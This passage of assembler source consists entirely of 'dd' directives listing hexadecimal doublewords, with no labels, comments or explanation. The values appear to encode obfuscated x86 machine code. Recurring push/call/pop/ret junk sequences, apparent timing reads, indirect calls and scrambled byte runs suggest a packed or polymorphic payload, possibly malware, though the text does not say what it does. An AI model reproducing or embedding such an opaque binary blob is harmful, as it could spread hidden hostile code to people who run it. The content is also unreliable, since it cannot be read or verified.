		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0C78166C8h
		dd 0BD8123C2h, 6071815h, 7D0h, 13A860Fh, 14E80000h, 10000000h
		dd 0C0504761h, 65929D6Ch, 9868573h, 13E18203h, 0F1667BCh
		dd 289h, 5E5F5100h, 0FE9h, 0F11C9200h, 1F8A6A03h, 82350470h
		dd 1EDC5713h, 1C919D8Bh, 0E3810607h, 100h, 37E4CCBFh, 0FDB0B33h
		dd 0A485h, 95236000h, 6072D6Dh,	61C68B66h, 6830Fh, 9D890000h
		dd 607035Dh, 30DBD83h, 0F00060Bh, 3284h, 0BABE6600h, 0A5E9B3h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0F807AC3h, 79C2DA2Ch, 0ADB58B4Bh,	0C7060711h
		dd 0B030D85h, 106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 94BE66D7h, 4DE93Dh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0D1FBC6C3h, 0D85C72Ch, 60B03h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7600C352h, 0DDB52B05h, 8D060723h, 71C919Dh, 95895106h
		dd 60721D9h, 0FF23815Fh, 66FFFFFEh, 0CB44D781h,	6ADB8C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0D418C351h, 4852EFCCh, 0F41B4C0h,	0F04C3F6h
		dd 6184h, 14E800h, 333F0000h, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h
		dd 30F84E3Ch, 840F12BCh, 6, 451BD03h, 0FF5F0607h, 7186195h
		dd 1D9D8906h, 50060703h, 310F5250h, 0F525060h, 8B585A31h
		dd 585A61D0h, 0F240489h, 0CE8F9B7h, 87000000h, 9B3E5B3Fh
		dd 0C189B2B4h, 233419DBh, 71B4DBDh, 0ABE95F06h,	66000004h
		dd 0B0F28Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	3BC35646h, 0D31ED412h, 5425BC19h, 11E849h, 0EEA70000h
		dd 9E33EF33h, 1DAE6E06h, 597BC45Bh, 0BE3A1CEDh,	7F69BD6Eh
		dd 318D295Fh, 0E6060705h, 56006A70h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 74334DE5h
		dd 0BB0EB692h, 0BD891930h, 6071A99h, 6A71E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 61148EC3h
		dd 0FDF54A3h, 0CF81D8B6h, 6B16E321h, 6BAh, 0BE900h, 7AF0000h
		dd 0F738BEB9h, 25E73AEDh, 6AC38B2Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F7FDC352h
		dd 0BD8B6C98h, 6071941h, 21B58B52h, 5F060705h, 6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0C847C352h, 0A0B2C4Eh, 6AE2F766h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 2B0EC351h, 13E8D8h, 68F90000h, 47F5913Dh, 33810964h
		dd 0EABA0008h, 0D5CA83AAh, 0EF816636h, 505F8BB3h, 11880F50h
		dd 0E8000000h, 0Bh, 0D8FB03Fh, 58F1A3ACh, 5F7E5B7Fh, 241C895Eh
		dd 0FFFFB70Fh, 71815B5h, 0F1BD8906h, 0FF060700h, 71B6995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0B03305h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 7DC35141h, 19419603h,	8BAA1B62h, 6A70E6F7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 46B2C356h, 860FA891h, 6, 7874DE81h, 0BD8B31D5h
		dd 6070EF9h, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0A867EEC3h, 159D09E2h, 29060729h
		dd 72901B5h, 0F613C06h,	28183h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0F3C6F7EBh
		dd 0D8B60F72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	14C35545h, 362F96F9h, 8DD03B2h,	5890Fh,	81660000h
		dd 0BA2F24CEh, 6, 8BF88B66h, 57006AC3h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0B716DFBAh
		dd 2FFF222h, 1F8DBD8Bh,	0E8C10607h, 0D1B53104h,	66060713h
		dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 6D12AAC3h, 8B6D0876h, 71C45BDh, 8BD82B06h
		dd 71491B5h, 89F85806h,	72F4595h, 0FD82B06h, 1B188h, 7B900h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0C1F646C3h, 0C1830Ah, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 9FC35343h, 3D85892Eh, 3B060732h
		dd 5F860FD9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 38B6C355h, 600110BFh
		dd 58E0Fh, 2FBB0000h, 0E85DE77Dh, 13h, 293515DDh, 86C3DC5h
		dd 110C4133h, 293684h, 89F534D5h, 71689B5h, 0F8615B06h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A599C356h, 4C1F651h, 0DD840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B58B9FC3h, 6072119h, 186195FFh, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 895B00C3h, 72C4D9Dh,	0E9C32B06h, 0Eh, 531E5494h, 0B5C15B48h
		dd 5BEF0B0Fh, 343DF48Eh, 0F000008h, 7286h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 75853129h, 0BE060729h, 2B6F698Ah, 51E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 6424CC3Bh, 84D87714h, 10E9600Fh, 2F000000h, 30071095h
		dd 0C511CF75h, 0F2057E95h, 0FCEC658h, 68Dh, 0BDB58900h
		dd 8B060711h, 0BE5653C0h, 1BF712D1h, 0C38B5F5Eh, 6AD88Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 2A317FC3h, 89570C29h, 715F99Dh, 85C75F06h, 6071351h
		dd 16D40FF7h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0CCC35747h, 0FCB21931h,	0C08B2CFFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DFC35545h, 0FFCC4470h
		dd 64BECB7Ch, 815FB191h, 71815BDh, 7D006h, 83850F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5589C356h, 0A4EC67A2h, 5E860F7h, 46000000h
		dd 565107D7h, 23DDBD89h
		dd 89590607h, 719398Dh,	85296106h, 6072D6Dh, 181585FFh
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0F4575C3h, 0FA03011Bh, 85890E63h,	60721A9h
		dd 0DE9h, 0EA613D00h, 0A636EBAFh, 55296570h, 0B5FF8C42h
		dd 6071815h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	1EC35646h, 0B60FAA4Eh, 6995FF61h, 0F506071Bh, 8586BE66h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 6FDC562Dh, 3D476475h, 10E96666h,	80000000h
		dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 60BA9029h, 13E9h
		dd 0C5912D00h, 0B4C8AD15h, 72E0AA49h, 0D6748776h, 0BB9398E4h
		dd 19F1BD89h, 8D8B0607h, 6071465h, 3820Fh, 0BF0F0000h
		dd 9D2961F8h, 6070E29h,	1FAB70Fh, 73291BDh, 6E906h, 0AA90000h
		dd 0FAF5924Dh, 61DB58Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 9F2DD4C3h, 0AEC1328Ah
		dd 605BA30Eh, 1241B58Bh, 0C1810607h, 50C8D99Fh,	2DE78161h
		dd 0BE39C740h, 1E605C8Bh, 8E8h,	0E5A08B00h, 0FB83510Ah
		dd 7DB58BFCh, 8B060714h, 6A5FFAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0BF0BBFC3h, 4CEF26CDh
		dd 0D835BE6Eh, 0B50151EEh, 60718ADh, 68A0Fh, 0B58B0000h
		dd 6071355h, 0FFF6E4E9h, 7E8FFh, 0C3F0000h, 0A4DEC8B7h
		dd 6A605F89h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0B92AC352h, 0FFFFFFFEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FCC35646h, 44842F14h
		dd 45E60CE0h, 0E890F32h, 0E9000000h, 9,	9AF1756Ah, 0E3349BBEh
		dd 98D2116h, 9060702h, 7030595h, 798D2106h, 6A060703h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 7DD2C356h, 3102B0FCh, 71A559Dh, 8DB58906h
		dd 8B060707h, 702098Dh,	890F06h, 83000000h, 850F01E1h
		dd 0Eh,	0CD9D8960h, 3306072Dh, 71749B5h, 8D8B6106h, 6070379h
		dd 0CD9D09F5h, 83060720h, 850F01E1h, 22h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 86C35545h, 1EA202C0h
		dd 6061F9D1h, 2D41858Bh, 0FEB90607h, 6AFFFFFFh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0B206C352h, 0D58D2131h, 0F06072Ch, 8D21F0BFh, 60719EDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 74C35040h
		dd 7024A8E9h, 0CF684BD3h, 0E8DFBF0Fh, 12h, 30B62CEBh, 786264CAh
		dd 2BC98462h, 478D294Dh, 5FF9698Ch, 2CD58D8Bh, 840F0607h
		dd 2, 0E183DA8Bh, 8850F01h, 66000000h, 3FBFD88Bh, 8B683B77h
		dd 719ED8Dh, 88F0F06h, 60000000h, 2E9DB589h, 83610607h
		dd 850F01E1h, 24h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0CFC35343h, 8D899F7Eh, 6071659h, 8D896061h
		dd 60715A9h, 0FFFFFEB9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0EF0A836Ah, 6E9A01E0h
		dd 918D21FAh, 6A06071Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0EE3BC355h,	0D115117Fh
		dd 0B589FB26h, 60706BDh, 13D8D21h, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2832BBC3h
		dd 5BE710B5h, 65BD0160h, 29060714h, 7122995h, 8D8B6106h
		dd 6071C91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0BEC35242h, 29547760h, 714E595h, 1E18306h, 32850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 8B0874C3h, 0F5866F7h, 0B8Ch, 5850F00h, 66000000h
		dd 0BDEDB81h, 13D8D8Bh,	6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 4171ACC3h, 8320DBA2h
		dd 850F01E1h, 24h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 12C35141h, 0BD8B557Fh, 6072D21h, 6A6061h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B9DFDC3h, 71AFD9Dh,	0FFFEB906h, 9D29FFFFh, 607332Dh
		dd 14F18D21h, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 5FC4AFC3h, 21E780E2h, 713518Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0E7B7418Ch, 20BDB58Bh, 8D8B0607h, 60714F1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 74C35343h
		dd 8AB4330Dh, 0FF55BB9h, 0E183F8B7h, 25850F01h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 15E0C350h, 74E8B1DAh, 0BF443131h,	13518D8Bh
		dd 83F50607h, 850F01E1h, 25h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 6CC35545h, 8B44535Ah, 72841BDh
		dd 6A606106h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 56B4C352h, 85C71955h, 6071815h
		dd 7D0h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	47C35040h, 13E9h, 1337B400h, 9A4CBBBAh,	3A5846CBh
		dd 791EFA24h, 0A8C983FFh, 18099529h, 6A610607h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 2273C353h, 66849C16h, 969BF181h, 9D6107EBh, 0E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E1A6190Dh, 66AF1F4Fh, 0BF66DF8Bh, 6A7830h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E9A35DC3h, 0Bh, 0A3CF97CDh,	5E379EAh, 8B529F45h, 104BEBC1h
		dd 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
		dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
		dd 0C05800A6h, 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC8h, 0FBFE48h
		dd 41280000h, 7DD427E6h, 53E9C372h, 6A00000Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F751C357h, 11BD8BDCh, 83060732h, 732B1BDh, 850F0006h
		dd 15h,	1265952Bh, 0B80607h, 8B000000h,	71E0595h, 4C206h
		dd 6AC08BF9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8199C355h, 0BFCB5EAh, 11BD8306h
		dd 60702h, 0BD830975h, 6070D65h, 50137400h, 0B8C08B53h
		dd 4D0h, 0A87C9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h
		dd 50117400h, 4D0B853h,	9D8D0000h, 609A7C9h, 585BD3FFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E6C35343h
		dd 9CAA3D23h, 6AF3D8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h
		dd 83ACEDC3h, 0FE15DCA4h, 499D295Bh, 0F060700h,	680h, 8C0F00h
		dd 8B000000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0D9318C0Fh, 87D03B45h, 0F98D0B3Eh
		dd 8D06070Eh, 0B12D585h, 11850106h, 5006070Bh, 0A854BF66h
		dd 89240489h, 712359Dh,	92858D06h, 29060B12h, 72D7D85h
		dd 850F5006h, 2, 489F58Ah, 7E924h, 421A0000h, 0EF3FBBEBh
		dd 6195FF8Fh, 0E906072Fh, 0Bh, 0E168DD23h, 0B86A19F9h
		dd 8BEFA0B5h, 66042444h, 807736B9h, 858924F1h, 60B12BDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 61C35545h
		dd 0CA9C5C27h, 1E0DBD29h, 448B0607h, 85890824h,	6071331h
		dd 12D18589h, 0BD83060Bh, 6072161h, 0F8850F00h,	66000000h
		dd 0C69C02BAh, 7152585h, 0DC8A4706h, 0B0B68B68h, 8E8C7h
		dd 932A0000h, 548F814Dh, 0D1B57CABh, 2404815Fh,	0CE9F147h
		dd 98A0Fh, 66600000h, 668393BFh, 0FF61FA8Bh, 71CBDB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 717CC5Ch, 8D89CD11h, 6071879h, 14E9h, 21556E00h
		dd 0BA6E5AA9h, 594F4BC8h, 2FAB4549h, 23EA0DB5h,	0F4858DE1h
		dd 6A060A70h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 8A77C353h, 26CF819Ah, 895CCE0Dh
		dd 719059Dh, 29D0FF06h,	70E51BDh, 8589F906h, 6072161h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C6C35343h
		dd 0DCD3B304h, 95898EBAh, 6071935h, 8880Fh, 81510000h
		dd 402F56F3h, 81665968h, 83D181F7h, 73055BDh, 850F0006h
		dd 0AEh, 0C6D98B66h, 7152585h, 6A4706h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0BBBFC9C3h
		dd 6E9h, 0F27AA900h, 8BC99727h,	712A595h, 817A6806h, 0EFB9C435h
		dd 810BE890h, 34982434h, 0BD8B4E3Ah, 6072D7Dh, 1CBDB5FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 10CD1C3h,	8B7F4C0Eh, 71B1195h, 0F4858D06h
		dd 0E9060A70h, 0Bh, 0EC63E001h,	8F448180h, 811EAE51h, 52D6DBh
		dd 0FD0FF6Fh, 8166D3B7h, 89056CC2h, 7305585h, 1C12BF06h
		dd 0BD831ACEh, 6070DF1h, 95850F00h, 0B1000000h,	2585C6C8h
		dd 56060715h, 52D8509h,	2D680607h, 57CADE31h, 0E8616060h
		dd 13h,	30C15CDAh, 0A281B6EFh, 3B28D89Bh, 3F909495h, 5FE086AAh
		dd 34815A61h, 0C15C1424h, 43BF661Eh, 0B5FFF827h, 6071CBDh
		dd 12099D8Bh, 858D0607h, 60A70F4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0ABC35343h,	0ED89762Ch, 0A9FC644Ch
		dd 28598529h, 0D0FF0607h, 0E88A6057h, 8B0Fh, 59610000h
		dd 0DF18589h, 0BD010607h, 6072119h, 152585C6h, 816C0607h
		dd 270A11E2h, 7FA76817h, 0F18A5DD0h, 0DC240481h, 897D34F0h
		dd 72E459Dh, 39B5FF06h,	89060729h, 718C19Dh, 8D858D06h
		dd 6A060738h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0CEBFC350h, 89BB4128h,	70E0585h
		dd 0A58D8906h, 0FF060716h, 0C78166D0h, 8589492Fh, 60B12C1h
		dd 0C599D01h, 46A0607h,	0EC19589h, 8E80607h, 0B0000000h
		dd 0EEC2E1C3h, 60D6EEA0h, 8E8h,	68BF0000h, 3B177B3h, 616058AAh
		dd 4E85B61h, 0
		dd 0B6000010h, 0B9B250AEh, 424448Bh, 0C56CB966h, 0DE9008Bh
		dd 6F000000h, 11528E51h, 0A5178A52h, 0ABFA7B0Fh, 4244489h
		dd 0E858DA8Bh, 0Ch, 367A758Dh, 7B59C117h, 728D42DCh, 0DE9h
		dd 0C2226700h, 67911F71h, 8C3A7055h, 685A39F2h,	0D00013BBh
		dd 45240481h, 0E83000ECh, 0Ch, 93AFC2A8h, 0BCA5F260h, 8BE65AB1h
		dd 0D218529h, 6A5A0607h, 0FF8FB300h, 7264195h, 68B0F06h
		dd 89000000h, 70CFD9Dh,	0CD858906h, 57060B12h, 0DE8h, 9DC5800h
		dd 68BA8E89h, 26DEFAE4h, 8B6650BAh, 6A5B5FD3h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 958BC2AAh, 6072E35h,	2B9CC68h, 24348165h, 6503B9CCh
		dd 0DC9B589h, 0CE90607h, 50000000h, 0EEEE4810h,	0C96407B4h
		dd 508B3E4Bh, 59CEB650h, 66240489h, 0BA69E281h,	0FE9h
		dd 0A101C900h, 3319A06Fh, 0CB00FF00h, 2D4754h, 95890B6Ah
		dd 6070EC1h, 129A858Dh,	6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0C49AB7C3h, 88C5858h
		dd 1DD9958Bh, 0F900607h, 278Fh,	6E86000h, 0A5000000h, 202D6759h
		dd 14E95EE5h, 55000000h, 495006B8h, 0B889FBDEh,	0DEE47CCAh
		dd 0A395E868h, 610006E8h, 905F5750h, 1850Fh, 0FFFC0000h
		dd 7216195h, 8810F06h, 53000000h, 1825BD8Bh, 8D5B0607h
		dd 0B12A4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0B71547CCh, 0ADB5315Bh, 96060703h
		dd 8A50FD8Ah, 9D8996C8h, 6071CB9h, 0D08B6690h, 90F88B50h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 72C35343h
		dd 0BE9C90DBh, 604330A5h, 1E458D89h, 9D890607h,	6071235h
		dd 5595FF61h, 29060730h, 73081B5h, 0FD0FF06h, 8Ah, 0CDB58B00h
		dd 6A060B12h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 49D9C353h, 32F19DC5h, 0B70F0B56h
		dd 0C585C7CEh, 60B12h, 8B000000h, 7211995h, 207E8006h
		dd 21840F00h, 89000003h, 7003595h, 6A6006h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 241F9EC3h
		dd 0FE9h, 9454FA00h, 0ED85131h,	817FDE25h, 745DEEC9h, 4850Fh
		dd 0BB660000h, 468D82F2h, 5DBD8920h, 8906072Eh,	0B12C985h
		dd 89B53106h, 0E9060700h, 2Ah, 2FF58D33h, 6A400607h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 40DCC356h, 0EC98D01h, 38800607h, 0D3850F00h,	0FFFFFFFh
		dd 958BFABFh, 6070DCDh,	4BE9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 93B99289h
		dd 0C690C5CAh, 0F9FC8B36h, 55006A48h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0C124574Bh
		dd 4AC580A8h, 0F5C3880h, 6884h,	0D98B6600h, 2F3880F9h
		dd 5B840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 611CE2C3h, 9D6A31Bh, 29BA6633h
		dd 0C9853B9Bh, 0F060B12h, 0FFFF9383h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 5AAA0B8Ch, 0A7A8D2A1h, 8B66149Ah, 8A0F40CEh,	0Ch, 7E9h
		dd 169C6800h, 2E844966h, 12D1BD83h, 0F00060Bh, 9284h, 0C99D8B00h
		dd 8A060732h, 0BB6650F4h, 4892701h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 512B1DBEh
		dd 0B9477632h, 5E85A542h, 12D18503h, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0DE519FC3h
		dd 2AFF0AF3h, 0FA8BEFF7h, 6A0000C6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E0CFC351h
		dd 0F87ACE21h, 958D8B58h, 66060704h, 9008FEBAh,	0EA1DB966h
		dd 8B525050h, 66310FDFh, 585ADE8Bh, 0B9BD8990h,	2906070Ch
		dd 718DD95h, 0BDB5FF06h, 89060B12h, 7189D9Dh, 0C195FF06h
		dd 66060B12h, 0C00BCB8Bh, 0A6850Fh, 57570000h, 0E6ACD181h
		dd 5B5F434Eh, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0A9C94280h, 51C64572h, 0E381FB07h
		dd 314B3813h, 85C7D08Bh, 60B12C5h, 1, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 69C35747h, 0BCF0F39h, 68B0F2Fh
		dd 89000000h, 715F1B5h,	0CEBA6606h, 62E91Eh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 318729C3h, 0EC879EC2h, 2D958BC4h, 0BB06070Ch, 428A0593h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0FC9114Bh, 0C681D6B7h, 11Ch, 13F18166h
		dd 0FCD7E981h, 0CF8BFFFFh, 92CF7E68h, 13E8B3h, 5EAB0000h
		dd 0FA415917h, 15B74F09h, 35FC7027h, 88D508Ah, 14E9AAh
		dd 0EBF80000h, 1603FD59h, 0FB8B0C73h, 0C246E524h, 0C33FBFADh
		dd 815B9C66h, 0B0822404h, 81664C6Dh, 6A56B7D7h,	0C9BD8B00h
		dd 0FF060711h, 0B12CDB5h, 0D08B6606h, 0DF195FFh, 958B0607h
		dd 6070645h, 12C5858Bh,	9E9060Bh, 0AC000000h, 0B0CF308h
		dd 80C98B2Ah, 50D98B90h, 6A905CB1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EAC6C356h
		dd 5984722Eh, 0D5858DE0h, 50060B12h, 0FE85250h,	59000000h
		dd 0BE6ED6AEh, 2BFC1E07h, 798FDCF6h, 49BF6BDEh,	5B4F9BF9h
		dd 33BB310Fh, 5A236A5Fh, 24048958h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0A3C35747h,	0F7402AAh, 0BD8BD1B7h
		dd 6071E45h, 0C2EA8166h, 92858D1Bh, 81060B12h, 31CEFF7h
		dd 9E9502Ah, 0
		dd 75268366h, 53321C65h, 0BA240489h, 0BA9D632h,	44D95FFh
		dd 10E90607h, 6B000000h, 28C0AC3Ch, 0A2FDDE73h,	31A7A57Fh
		dd 8B4492E2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 7335D7D4h, 958B9455h, 607187Dh, 211BD83h
		dd 75000607h, 65BD8309h, 6070Dh, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 9A8E39Dh,	5BD3FF06h, 65BD8358h, 6070Dh, 53501174h
		dd 4D0B8h, 0E29D8D00h, 0FF0609A7h, 6A585BD3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 847BC356h, 727A2980h, 89FC9278h, 72C79B5h, 0CEBA6606h
		dd 6AC08B66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 9308C355h, 5AADBF2Bh, 51B501EAh
		dd 58060704h, 1850F56h,	0F9000000h, 8C25Ah, 3169958Bh
		dd 0C08B0607h, 1306858Dh, 0BF0F060Bh, 0A58589DEh, 0E9060718h
		dd 75h,	0D88C6660h, 840F04A8h, 35h, 0B5FF016Ah,	6072939h
		dd 70F4858Dh, 0D0FF060Ah, 0A898589h, 0FE8B0607h, 680CEFC1h
		dd 20040000h, 26A006Ah,	0D6857h, 95FF0001h, 6070A89h, 32E9h
		dd 2585C600h, 56060715h, 0C530DF68h, 0BDB5FFA9h, 8D06071Ch
		dd 0A70F485h, 89D0FF06h, 7283185h, 0A9858D06h, 50060728h
		dd 56A206Ah, 3195FF56h,	61060728h, 6E0C1C3h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 158F0FC8h, 0E9000000h, 10h, 0B004CD05h, 60EA781Ah, 0B975A2E3h
		dd 3D92C5BCh, 14E9h, 5386AF00h,	76DF5AF0h, 0DB34538Ah
		dd 0B36630C2h, 77F96735h, 0BEC08BA7h, 5EA73EC9h, 211BD83h
		dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 38B8C08Bh
		dd 89000004h, 7302D85h,	0A89D8D06h, 0FF0609AAh,	83585BD3h
		dd 70D65BDh, 17740006h,	38B85350h, 89000004h, 7302D85h
		dd 979D8D06h, 0FF0609A7h, 6A585BD3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 71A7C353h
		dd 0C809DD4Ah, 1E7039F0h, 1B8CD181h, 6A2F69h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 649459C3h
